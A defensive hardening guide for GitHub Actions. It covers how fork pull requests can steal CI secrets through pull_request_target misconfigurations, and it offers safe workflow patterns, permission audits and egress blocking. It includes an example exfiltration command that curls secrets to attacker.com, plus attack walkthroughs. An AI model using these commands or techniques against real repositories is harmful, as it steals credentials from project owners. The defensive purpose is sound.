Fork PR Secret Isolation: Preventing CI Secret Exfiltration via Pull Requests
The Problem
GitHub Actions creates a non-obvious security boundary between PRs from branches within the same repository and PRs from forks. Fork PRs run in a read-only context without access to repository secrets — by design, safely. The problem is that this default is easy to override.
The pull_request_target event is the primary attack surface. It runs in the context of the base repository, giving access to repository secrets. Its intended use is status reporting workflows that need write access back to the PR. The vulnerability arises when a pull_request_target workflow checks out the fork’s code — via actions/checkout with ref: ${{ github.event.pull_request.head.sha }} — and then executes it. The execution happens with full secret access. An attacker’s fork PR needs only modify a called script to curl https://attacker.com?key=${{ secrets.AWS_ACCESS_KEY_ID }}, and the secrets are gone before any reviewer sees the CI output. Security researchers have found this misconfiguration in repositories operated by major technology companies.
A more subtle variant requires no workflow file changes: if the pull_request_target workflow calls ./scripts/test.sh, modifying that script in the fork achieves the same result. The workflow diff shows nothing suspicious.
The “trusted reviewer triggers re-run” attack adds a timing element. An attacker submits a benign fork PR. CI fails for an unrelated reason. A maintainer clicks “Re-run all jobs.” Between the first run and the re-run, the attacker modified the PR to add secret exfiltration. GitHub provides no warning that the PR changed since the last run. The re-run executes the modified code.
Specific gaps in environments without fork PR isolation:
pull_request_targetworkflows that check outgithub.event.pull_request.head.shaare vulnerable by construction.- Workflow files that call scripts from the repository without restricting which branch’s scripts run.
- Repositories with
GITHUB_TOKEN: write-allas a default workflow permission grant broad API access to fork PRs. - Environment secrets with no required approval are accessible from any workflow trigger, including
pull_request_target.
Target systems: GitHub Actions repositories; public repositories that accept fork PRs; internal repositories with external contributors; any repository using pull_request_target, workflow_run, or push triggers for PR workflows.
Threat Model
Adversary 1 — Fork PR modifying CI workflow. An attacker modifies a pull_request_target workflow in their fork to add a step that sends secrets to an attacker-controlled endpoint. If the workflow runs automatically, exfiltration completes before any reviewer sees the CI output. The prerequisite is only that the repository uses pull_request_target with code checkout from the fork.
Adversary 2 — Attacker modifies called scripts, not workflow files. The pull_request_target workflow checks out fork code and calls ./scripts/test.sh. The attacker modifies that script in their fork. The workflow file diff shows nothing suspicious. Reviewers checking only workflow files miss the attack.
Adversary 3 — Trusted reviewer triggers re-run after PR modification. The attacker’s initial fork PR is benign and CI fails for an unrelated reason. The maintainer clicks “Re-run all jobs.” Between the first run and the re-run, the attacker modified the PR to add secret exfiltration. The re-run executes the modified code without triggering a new review cycle.
Adversary 4 — GITHUB_TOKEN write permissions from fork PR context. A pull_request_target workflow with permissions: write-all (or the repository’s write-all default) allows a fork PR to use GITHUB_TOKEN to create releases, register webhooks pointing to attacker infrastructure, or modify repository settings.
- Access objective: Exfiltrate production secrets (AWS credentials, container registry tokens, deployment keys, database passwords); gain persistent access to the repository via GITHUB_TOKEN writes.
- Detection surface: Workflow trigger type analysis, GITHUB_TOKEN permission audits, network monitoring on CI runners, environment protection rules.
- Blast radius: Any secret accessible to the CI environment; all cloud resources accessible with those secrets.
Hardening Configuration
Step 1: pull_request vs pull_request_target — When to Use Each
The first control is understanding and using the correct trigger event:
# SAFE: Use pull_request for workflows that don't need secrets.
# This trigger runs in the fork's context — no repository secrets are available.
on:
pull_request:
types: [opened, synchronize, reopened]
# The pull_request trigger:
# - Runs in the fork's context (read-only to base repo)
# - Has NO access to repository secrets
# - GITHUB_TOKEN has read-only permissions
# - Safe to check out and run fork code
# - Correct for: linting, unit tests, static analysis, build checks
# DANGEROUS if misused: pull_request_target runs in the BASE repository context.
# Only use for workflows that NEED secrets AND DO NOT run fork code.
on:
pull_request_target:
types: [opened, synchronize, reopened]
# The pull_request_target trigger:
# - Runs in the BASE repository's context
# - HAS access to repository secrets
# - GITHUB_TOKEN has configurable permissions (default varies by repo settings)
# - NEVER check out and run code from the fork in this context
# - Only correct use: status reporting workflows that don't execute PR code
A safe pattern for using pull_request_target — reporting status without running fork code:
# .github/workflows/pr-status-reporter.yml
# SAFE: Uses pull_request_target but never runs fork code.
name: PR Status Reporter
on:
pull_request_target:
types: [opened, synchronize]
jobs:
report-status:
runs-on: ubuntu-latest
permissions:
pull-requests: write # Only what's needed for status comments.
statuses: write
steps:
# CORRECT: Checks out the BASE repository code, not the fork.
# The base branch contains trusted, reviewed workflow code.
- uses: actions/checkout@v4
with:
ref: ${{ github.base_ref }} # NOT github.event.pull_request.head.sha
# This step runs base branch code, not fork code.
- name: Post status comment
uses: actions/github-script@v7
with:
github-token: ${{ secrets.GITHUB_TOKEN }}
script: |
// Only status reporting — no secrets passed to fork code.
await github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: 'CI status: checks are running.'
});
The split workflow pattern — run untrusted code safely with pull_request, then report with workflow_run:
# .github/workflows/pr-ci.yml
# Step 1: Runs fork code safely (no secrets).
name: PR CI
on:
pull_request:
types: [opened, synchronize, reopened]
jobs:
test:
runs-on: ubuntu-latest
permissions:
contents: read # Read-only to the fork's code.
steps:
- uses: actions/checkout@v4
# Default: checks out the PR's HEAD (fork code). Safe here.
- name: Run tests
run: make test
# Artifact upload for the status reporter to consume.
- name: Upload test results
uses: actions/upload-artifact@v4
with:
name: test-results
path: test-results.xml
# .github/workflows/pr-status.yml
# Step 2: Reports status with secrets — runs AFTER the untrusted CI completes.
name: PR Status Reporter
on:
workflow_run:
workflows: ["PR CI"]
types: [completed]
jobs:
report:
runs-on: ubuntu-latest
permissions:
checks: write
pull-requests: write
steps:
# CRITICAL: Download the artifact from the completed workflow_run,
# not code from the PR. No fork code runs here.
- name: Download test results
uses: actions/download-artifact@v4
with:
name: test-results
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ secrets.GITHUB_TOKEN }}
- name: Report status
run: |
# Parse test-results.xml and report to the PR.
# Secrets are available here but no fork code runs.
Step 2: Workflow Permissions Set to Minimal
Explicitly declare the minimum permissions required for every workflow, removing the dangerous write-all default:
# .github/workflows/pr-checks.yml
name: PR Checks
on:
pull_request:
# Explicitly set read-only default for all jobs.
permissions:
contents: read
jobs:
lint:
runs-on: ubuntu-latest
# No additional permissions needed for linting.
steps:
- uses: actions/checkout@v4
- run: make lint
test:
runs-on: ubuntu-latest
permissions:
contents: read
# Only add what's needed — don't grant checks:write unless
# this job actually writes check results.
steps:
- uses: actions/checkout@v4
- run: make test
security-scan:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write # Only needed for SARIF upload.
steps:
- uses: actions/checkout@v4
- uses: github/codeql-action/analyze@v3
Audit the current permission defaults for your repository:
# Check repository default workflow permissions via GitHub API.
gh api repos/ORG/REPO/actions/permissions \
--jq '{
enabled: .enabled,
allowed_actions: .allowed_actions,
default_workflow_permissions: .default_workflow_permissions,
can_approve_pull_request_reviews: .can_approve_pull_request_reviews
}'
# Expected for a well-configured repository:
# {
# "enabled": true,
# "allowed_actions": "selected",
# "default_workflow_permissions": "read",
# "can_approve_pull_request_reviews": false
# }
# If default_workflow_permissions is "write", change it:
gh api repos/ORG/REPO/actions/permissions \
--method PUT \
--field default_workflow_permissions=read \
--field can_approve_pull_request_reviews=false
Step 3: Environment Protection Rules for Secrets
Environment protection ensures that secrets requiring production access require manual approval — fork PRs cannot automatically access production secrets even if a pull_request_target misconfiguration exists:
# GitHub repository settings cannot be set via workflow files directly.
# Use the GitHub API or Terraform to configure environment protection.
# Terraform example:
resource "github_repository_environment" "production" {
environment = "production"
repository = "your-repo"
# Require manual approval from security team before deployment.
reviewers {
teams = [data.github_team.security.id]
users = []
}
# Only allow deployment from the main branch, not PRs or forks.
deployment_branch_policy {
protected_branches = true # Only protected branches (main, release/*).
custom_branch_policies = false
}
}
resource "github_repository_environment" "staging" {
environment = "staging"
repository = "your-repo"
# Staging allows CI branch deploys but not fork PRs.
deployment_branch_policy {
protected_branches = false
custom_branch_policies = true
}
}
resource "github_repository_deployment_branch_policy" "staging_main" {
repository = "your-repo"
environment_name = "staging"
name = "main"
}
resource "github_repository_deployment_branch_policy" "staging_release" {
repository = "your-repo"
environment_name = "staging"
name = "release/*"
}
Reference environments correctly in workflow files:
# .github/workflows/deploy.yml
name: Deploy
on:
push:
branches: [main]
# Note: NOT triggered by pull_request or pull_request_target.
# Deployment only happens on merge to main.
jobs:
deploy-staging:
runs-on: ubuntu-latest
environment: staging # Requires branch policy to be satisfied.
permissions:
contents: read
id-token: write # For OIDC, not long-lived secrets.
steps:
- uses: actions/checkout@v4
- name: Configure AWS credentials via OIDC
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789:role/github-actions-staging
aws-region: us-east-1
# OIDC: no long-lived AWS keys in GitHub secrets.
- run: make deploy-staging
Step 4: step-security/harden-runner to Prevent Secret Exfiltration at the Runner Level
harden-runner monitors network egress from CI runners and blocks connections to unexpected destinations, providing a runtime defence layer that complements GitHub’s configuration controls:
# .github/workflows/pr-checks.yml
name: PR Checks (Hardened)
on:
pull_request:
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- name: Harden runner
uses: step-security/harden-runner@v2
with:
egress-policy: audit # Use 'block' once you've mapped all legitimate egress.
allowed-endpoints: >
github.com:443
api.github.com:443
objects.githubusercontent.com:443
registry.npmjs.org:443
pypi.org:443
files.pythonhosted.org:443
# Any connection to an endpoint not in this list generates an alert.
# Secret exfiltration via curl to attacker.com would be caught here.
disable-sudo: true # Prevent sudo escalation in fork PR context.
- uses: actions/checkout@v4
- name: Install dependencies
run: pip install -r requirements.txt
- name: Run tests
run: pytest tests/
For stricter environments, switch from egress-policy: audit to block after running in audit mode for 1–2 weeks to capture all legitimate egress destinations:
- name: Harden runner
uses: step-security/harden-runner@v2
with:
egress-policy: block # Block all egress not in the allowlist.
allowed-endpoints: >
github.com:443
api.github.com:443
objects.githubusercontent.com:443
registry.npmjs.org:443
# A fork PR that tries to curl an attacker endpoint will fail here
# with a network connection denied error, before the secret reaches
# the attacker.
Step 5: GITHUB_TOKEN Permission Lockdown and Secret Scoping Audit
Audit every workflow file in the repository for dangerous permission patterns:
#!/bin/bash
# audit-workflow-permissions.sh
# Scans all workflow files for dangerous permission patterns.
REPO_ROOT="${1:-.}"
ISSUES=0
echo "=== GitHub Actions Permission Audit ==="
echo ""
find "$REPO_ROOT/.github/workflows" -name "*.yml" -o -name "*.yaml" | \
while read workflow; do
echo "Checking: $workflow"
# Check for pull_request_target with code checkout from fork.
if grep -q "pull_request_target" "$workflow"; then
if grep -A10 "actions/checkout" "$workflow" | \
grep -q "pull_request.head.sha\|head_ref"; then
echo " CRITICAL: pull_request_target workflow checks out fork code"
echo " File: $workflow"
ISSUES=$((ISSUES + 1))
else
echo " WARNING: pull_request_target — verify no fork code execution"
fi
fi
# Check for missing or overly broad permissions.
if ! grep -q "^permissions:" "$workflow"; then
echo " WARNING: No top-level permissions declaration — inherits default"
fi
if grep -q "permissions: write-all\|permissions:\n.*write-all" "$workflow"; then
echo " WARNING: write-all permissions on workflow — restrict to needed permissions"
ISSUES=$((ISSUES + 1))
fi
# Check for secrets passed to fork-accessible steps.
if grep -q "pull_request\b" "$workflow" && ! grep -q "pull_request_target" "$workflow"; then
if grep -q '\${{ secrets\.' "$workflow"; then
echo " INFO: pull_request workflow uses secrets — verify no fork access"
echo " (pull_request secrets are unavailable to fork PRs by default)"
fi
fi
echo ""
done
echo "Issues found: $ISSUES"
[ "$ISSUES" -gt 0 ] && exit 1
exit 0
# Check current GITHUB_TOKEN permissions for pull_request_target workflows.
# Run against the repository to audit the effective permission model.
# List all workflows that trigger on pull_request_target.
gh api repos/ORG/REPO/contents/.github/workflows \
--jq '.[].name' | \
while read workflow; do
CONTENT=$(gh api "repos/ORG/REPO/contents/.github/workflows/$workflow" \
--jq '.content' | base64 -d)
if echo "$CONTENT" | grep -q "pull_request_target"; then
echo "=== $workflow uses pull_request_target ==="
echo "$CONTENT" | grep -A5 "pull_request_target"
echo "$CONTENT" | grep -A20 "permissions:" | head -20
echo ""
fi
done
Step 6: Preventing the “Trusted Reviewer Triggers Re-run” Attack
Configure the repository to require re-review when a PR is modified, preventing the attack where a benign-looking PR is modified after initial review but before a re-run:
# Enforce that PRs from forks require approval before ANY CI run.
# Set via GitHub API:
gh api repos/ORG/REPO/actions/permissions \
--method PUT \
--field default_workflow_permissions=read
# For public repositories: require approval from maintainers for
# all outside contributor workflows (not just first-time contributors).
gh api repos/ORG/REPO/actions/permissions/workflow \
--method PUT \
--field default_workflow_permissions=read \
# "Fork pull request workflows from outside collaborators" setting:
# Options: "first-time-contributor", "all-collaborators", "require-approval"
Add a CI check that detects if a PR was modified after the last review approval:
# .github/workflows/pr-modification-check.yml
name: PR Modification After Approval Check
on:
workflow_run:
workflows: ["PR Checks"]
types: [requested]
jobs:
check-pr-modification:
runs-on: ubuntu-latest
permissions:
pull-requests: read
steps:
- name: Check if PR was modified after last approval
uses: actions/github-script@v7
with:
script: |
const pr_number = context.payload.workflow_run.pull_requests[0]?.number;
if (!pr_number) return;
// Get the last approval time.
const reviews = await github.rest.pulls.listReviews({
owner: context.repo.owner,
repo: context.repo.repo,
pull_number: pr_number
});
const lastApproval = reviews.data
.filter(r => r.state === 'APPROVED')
.sort((a, b) => new Date(b.submitted_at) - new Date(a.submitted_at))[0];
if (!lastApproval) {
console.log('No approvals found — standard first-run.');
return;
}
// Get the latest commit time.
const pr = await github.rest.pulls.get({
owner: context.repo.owner,
repo: context.repo.repo,
pull_number: pr_number
});
const lastCommitTime = new Date(pr.data.head.repo.pushed_at);
const lastApprovalTime = new Date(lastApproval.submitted_at);
if (lastCommitTime > lastApprovalTime) {
core.warning(
`PR #${pr_number} was modified after last approval. ` +
`Last commit: ${lastCommitTime.toISOString()}, ` +
`Last approval: ${lastApprovalTime.toISOString()}. ` +
`Re-review required before re-running CI.`
);
// Set a pending status to prevent silent re-runs.
await github.rest.repos.createCommitStatus({
owner: context.repo.owner,
repo: context.repo.repo,
sha: pr.data.head.sha,
state: 'pending',
description: 'PR modified after last approval — re-review required',
context: 'pr-modification-check'
});
}
Expected Behaviour After Hardening
Fork PR with pull_request_target misconfiguration blocked in audit. An engineer adds a pull_request_target workflow that checks out the fork’s code using the head SHA. The permission audit CI check runs:
=== GitHub Actions Permission Audit ===
Checking: .github/workflows/pr-deploy-preview.yml
CRITICAL: pull_request_target workflow checks out fork code
File: .github/workflows/pr-deploy-preview.yml
This allows fork PRs to run arbitrary code with access to repository secrets.
Issues found: 1
Error: Process completed with exit code 1.
The PR cannot merge. The engineer refactors the workflow to use the split pull_request + workflow_run pattern.
Harden-runner blocks secret exfiltration attempt. A fork PR modifies a test script to include curl https://attacker.com?key=$AWS_ACCESS_KEY_ID. The harden-runner step catches the connection attempt:
[StepSecurity] Blocked network connection to attacker.com:443
This endpoint is not in the allowed egress list.
Network connection denied: curl: (6) Could not resolve host: attacker.com
Error: Process completed with exit code 6
The exfiltration fails. The CI job reports a failure, drawing maintainer attention to the suspicious script modification.
GITHUB_TOKEN scope limits blast radius. A PR workflow has permissions: contents: read. A fork PR that runs in this context cannot create releases, modify workflow files, or write to the repository — the GITHUB_TOKEN’s scope prevents escalation even if the PR contains malicious code that attempts to use the token.
Trade-offs and Operational Considerations
| Control | Benefit | Cost / Friction |
|---|---|---|
| pull_request instead of pull_request_target | Eliminates secret access for fork PRs entirely | Cannot run deployments or post status checks that need repository write access from within the PR workflow |
| Split pull_request + workflow_run pattern | Allows status reporting with secrets without running fork code | More complex workflow architecture; harder to debug; artifact passing between workflows adds latency |
| Environment protection with branch policies | Production secrets only accessible from protected branches | Requires maintaining branch policies; all deploy workflows must use named environments |
| harden-runner egress policy | Runtime block on secret exfiltration even if misconfiguration exists | Requires mapping all legitimate egress endpoints; initial audit mode period; adds ~5s to CI start time |
| Approval required for all outside contributor workflows | Prevents automated execution of fork PR code | Significantly slows CI for external contributors; creates maintainer bottleneck for popular open-source projects |
| GITHUB_TOKEN read-only default | Limits what malicious fork PR code can do with the token | Workflows that need to post comments, create checks, or trigger deployments must explicitly request additional permissions |
The most significant operational trade-off is between contributor experience and security for public repositories. Requiring maintainer approval before running any CI on fork PRs protects against the attack but creates friction for legitimate contributors who expect automated feedback on their PRs. The minimum viable approach: use pull_request for all testing (no secrets required), and workflow_run only for status reporting; this gives fork PRs automated CI feedback without exposing secrets.
Failure Modes
| Failure Mode | Consequence | Prevention |
|---|---|---|
| Workflow calls an external action that internally uses pull_request_target | Third-party action escapes the safe pull_request context | Pin all external actions to specific commit SHAs; review action source code before use |
Developer adds secrets: block to pull_request workflow |
Secrets are not exposed to fork PRs by default, but the intent is unsafe; future changes may enable them | Lint workflow files to warn on secrets: declarations in pull_request triggered workflows |
Environment without branch policy set to deployment_branch_policy: protected_branches: false |
All branches including fork PR branches can access environment secrets | Audit all environments for branch policy configuration; default to protected_branches: true |
| harden-runner in audit-only mode | Network connections are logged but not blocked; exfiltration succeeds | Transition to block mode after the initial audit period; use audit mode only in non-sensitive environments |
| Stale approval allows re-run of modified PR | The “trusted reviewer triggers re-run” attack succeeds | Enable “Dismiss stale pull request approvals when new commits are pushed” in branch protection; enforce re-review on any push |
| OIDC misconfiguration grants fork PR access to cloud role | Even without long-lived secrets, OIDC token grants cloud access | Restrict IAM role trust policies to specific repository references: "token.actions.githubusercontent.com:ref": "refs/heads/main" — not wildcards |